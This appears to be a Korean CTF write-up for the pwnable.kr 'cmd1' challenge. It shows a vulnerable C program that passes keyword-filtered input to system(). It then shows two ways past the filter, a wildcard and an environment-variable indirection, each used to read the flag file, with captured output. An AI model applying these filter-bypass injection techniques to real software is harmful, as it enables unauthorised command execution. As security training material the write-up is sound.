Wargame & CTF/pwnableKR
Toddler(cmd1)
g.s.song
2023. 11. 27. 13:05
문제
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 (pw:guest)
풀이
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
strstr
함수를 사용하여 flag
, sh
, tmp
를 필터링 합니다. 필터링 된 인자는 system
함수를 통해 실행되는데 여기서 Command Injection 취약점이 발생합니다. 여러가지 풀이 방법이 있지만 간단하게 와일드 카드를 사용하여 풀이가 가능합니다.
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
mommy now I get what PATH environment is for :)
또한 환경변수를 이용한 방법도 있습니다.
cmd1@ubuntu:~$ export secretpack="/bin/cat /home/cmd1/flag"
cmd1@ubuntu:~$ ./cmd1 \${secretpack}
mommy now I get what PATH environment is for :)
cmd1@ubuntu:~$